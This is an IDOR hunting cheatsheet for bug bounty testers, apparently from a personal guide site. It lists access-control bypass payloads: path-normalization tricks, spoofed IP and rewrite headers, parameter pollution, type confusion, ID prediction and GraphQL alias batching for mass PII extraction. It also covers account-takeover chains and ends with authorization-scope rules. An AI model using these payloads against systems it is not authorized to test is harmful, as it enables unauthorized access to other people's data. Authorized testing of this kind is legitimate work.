Skip to content

Desk reference

IDOR Cheatsheet

6 min readIDOR Hunting

Desk Reference · v.2026 · OWASP 2025-aligned

Full guide: nrshafi.github.io/idor-guide

  1. Create two accounts. Account A (Alice) = attacker, Account B (Bob) = victim. Same plan + cross-tenant if possible.
  2. Populate distinctively. Different names, files, settings. Visible deltas = fast confirmation.
  3. Use B normally. Walk every feature. Capture in Burp/Caido.
  4. Swap to A’s session. Replay B’s requests with A’s token/cookie.
  5. Confirm. Success = A retrieves/mutates B’s data.

Test 4 identities: owner · same-tenant · cross-tenant · unauthenticated. Hash-diff body, X-Cache, Age. Autorize automates the loop.

  • GET reads victim data?
  • POST create resources under victim?
  • PUT / PATCH mutate victim fields (email, role, reset token)?
  • DELETE delete victim resources?
  • HEAD existence probe / header leakage?
  • OPTIONS CORS preflight reveals hidden methods?
  • FOO bogus method falls through to GET on some frameworks
  • Override X-HTTP-Method-Override: PUT on a locked verb
Path /users/42/profile
Query ?orderId=9011
Body {"target_user":42}
Header X-Account-Id: 42
JWT "sub":42,"tenant":7
Cookie userid=42
S3 / file /uploads/u42/file.pdf
GraphQL var {user(id:42)}
WebSocket {"resource":42}
int enumerate freely; top ID leaks total count
base64 / hashid reversible, decode, enumerate, re-encode
ObjectID 4b ts + 5b per-process + 3b counter; 1 known id ⇒ predict
UUIDv1 ts + MAC; sandwich attack (guidtool)
snowflake timestamp >> 22, then machine, sequence & 0xFFF. Walk a time window.
UUIDv7/ULID timestamp-ordered. Neighbors sit in a small band. Random tail blocks a full walk. Weak as a secret token.
hash often md5(uid)/md5(email), try inputs
slug OSINT usernames from comments / profiles
base36 / trunc hash int(s, 36) or md5(str(n))[:8]. Crack offline, request a handful.
UUIDv4/nanoid random, hunt for leaks. mt_rand and truncated hashes are the exception.

Version nibble: -1xxx- time · -4xxx- random · -7xxx- ordered

Baseline: /api/users/7011

Trailing slash /api/users/7011/
Double slash /api//users/7011
Dot-segment /api/./users/7011
Traversal /api/users/7000/../7011
Encoded slash /api/users%2F7011
Double-encoded /api/users%252F7011
Null byte /api/users/7011%00
Zero-width space /api/users/7011%E2%80%8B
Extension swap /api/users/7011.json / .xml
Case /api/USERS/7011
X-Original-URL: /api/users/7011
X-Rewrite-URL: /api/users/7011
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Custom-IP-Authorization: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: localhost
Referer: https://target.com/admin/
# Two values, parser disagreement
?id=SELF&id=7011
?id=7011&id=SELF
# Array / object wrapping
{"user_id": 7011} → 403
{"user_id": [7011]} → 200
{"user_id": ["SELF",7011]} → 200
{"user_id": {"v": 7011}} → 200
# Type confusion
"7011" 7011.0 "007011" 0x1B63
  • Version downgrade v3 → v2 → v1 → internal → legacy
  • Mobile-only /api/mobile/, /api/ios/, /api/android/
  • Subpath swap /profile → /details, /info, /summary
  • Batch / list ?ids[]=7011, /users/batch
  • Export / report /export, /print, /pdf, /download
  • Content-type swap json → xml → form-data → urlencoded

Introspection first. Then test every resolver with foreign IDs.

# Alias-batched IDOR — 1 HTTP req, N records
query {
u1: user(id: 7001) { email phone }
u2: user(id: 7002) { email phone }
// ... 100+ aliases ...
u100: user(id: 7100) { email phone }
}
  • Introspection off? graphw00f fingerprint + Clairvoyance schema recovery
  • Field-level auth gaps check nested resolvers (user.orders, user.paymentMethod)
  • node() back door retry blocked object via node(id:"base64")
  • Fragments re-request protected fields via fragment (directive bypass)
  • Mutations updateUser, resetPassword, transferOwnership with foreign IDs
  • Hidden mutations introspection reveals admin ops accessible to low-priv
  • Batch / alias array of operations, or N aliases, in one POST
  • node(id) Relay global id is base64 of Type:id. VXNlcjoxMDQy = User:1042
  • IDOR → ATO mutate victim’s email, trigger reset, take over
  • IDOR + IDOR first leaks the second’s required identifier
  • IDOR + mass assignment add role, tenant_id, is_admin in body
  • IDOR + race non-atomic ownership check; HTTP/2 single-packet
  • IDOR + cache deception personalized response cached publicly
  • WebSocket IDOR replay frames with foreign resource_id
  • Mobile-backend APK decompile + Frida pin-bypass for endpoints
  • UUIDv1 prediction guidtool, predict from one sample. v7: time-neighbor band.
  • Cross-tenant swap host or tenant_id, keep your token. Shared sequences cross the wall.
  • Recycled id / rebind old token on a reused id; foreign id on verify, share, or owner routes
  • Confused deputy JWT sub vs userId param, cookie, or X-User-Id
  • Glitter ZZVICTIMZZ in B’s data, then grep responses
  • Burp / Caido primary proxy

  • Autorize auth-bypass detection

  • AuthMatrix role matrix testing

  • Param Miner hidden headers/params

  • InQL GraphQL schema browser

  • Turbo Intruder race conditions

  • ffuf endpoint fuzzer

  • katana / gau crawl + archived URLs

  • arjun hidden param discovery

  • jsluice / sourcemapper JS + .js.map mining

  • graphw00f / Clairvoyance GraphQL recon

  • mongo-objectid-predict ObjectID

  • use AI extract endpoints from JS bundles & OpenAPI
  • use AI scaffold safe PoC scripts (hard-cap N=5)
  • use AI draft report structure & CVSS reasoning
  • careful bypass-payload brainstorming (verify each)
  • manual the two-account confirmation loop
  • manual deciding a bug exists
  • never paste victim PII / live tokens to AI providers

Pattern: 2 different models, one finds, one disproves (swarm auditing, e.g. evilsocket/audit).

  1. Summary one sentence, name the endpoint & parameter
  2. Severity CVSS v3.1 + v4.0 vector (v4 VC/VI/VA + SC/SI/SA fits cross-tenant)
  3. Steps to Reproduce both accounts, both tokens (redacted), exact request
  4. PoC 2 screenshots min; script ≤ 5 records
  5. Impact quantify (n users, PII scope, cross-tenant?)
  6. Remediation brief; request.user.id == params.user_id
Horizontal read · low-sens $100-500
Horizontal read · full PII $500-2.5K
Horizontal mutation $1K, 3.5K
IDOR + ATO chain $3K, 10K+
Cross-tenant SaaS breach $5K, 25K+
Vertical (admin op) $5K, 20K+
Mass extraction (alias batch) $5K, 30K+
“intended, same team” show cross-tenant works
“need victim UUID” show where it leaks
“need victim email” show harvest path
“low-sens fields” enumerate every field returned
“duplicate” timestamps + unique variant
“out of scope” re-read scope, quote it
  • Two accounts live & populated; test 4 identities (owner / same-tenant / cross-tenant / anon)
  • Recon: source maps, archived URLs, hidden params
  • Decode the ID (base64/hashid/ObjectID/UUIDv1) before enumerating
  • Swap ID in every location (path / query / body / header / cookie / JWT)
  • Swap method (every verb, not just GET)
  • Blocked? path-normalize + header bypass + ID-in-two-places
  • Try array / object / type-confused parameter shapes
  • For UUID/random IDs: hunt where they leak publicly
  • No data echoed? check blind IDOR via side effects
  • GraphQL? fingerprint → alias → nested → node() → fragments → mutations
  • Decode base64 / base62 / base36 / hash prefix before giving up
  • Try every /me route as an ID-bearing sibling
  • 200 / 403 / 404 / empty 200 / 500 written down. 404 may be a hidden 403.
  • Found one? chain it (ATO / mass / cross-tenant); score CVSS 4.0
  • No production deletes, no brute force, no prank emails, no SMS to real users
  • Cap PoC at 5 records, never dump the database
  • Re-read scope before reporting
  • BaaS GET /rest/v1/t?select=* with the anon key. RLS is the check.
  • Next.js x-middleware-subrequest, Next-Action hash, ?_rsc=
  • tRPC batch=1 and protectedProcedure on an admin call
  • Federation _entities, then the subgraph at /_graphql
  • MCP resources/read and tools/call with a foreign id
  • Cache A then B then anon. X-Cache: HIT with the wrong body
  • Job POST /exports → poll → fetch the signed URL with no cookie
  • Edge parent checked, child not: versions, attachments, share, duplicate, trash

Scope discipline: Every technique on this card applies only to systems whose owners have explicitly authorized testing, bug bounty programs, VDPs, or written engagements. Out-of-scope testing is unauthorized access.

Connections3 backlinks · 1 outgoing · 1 cross-guideFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

IDOR HuntingFor educational and authorized bug bounty use only.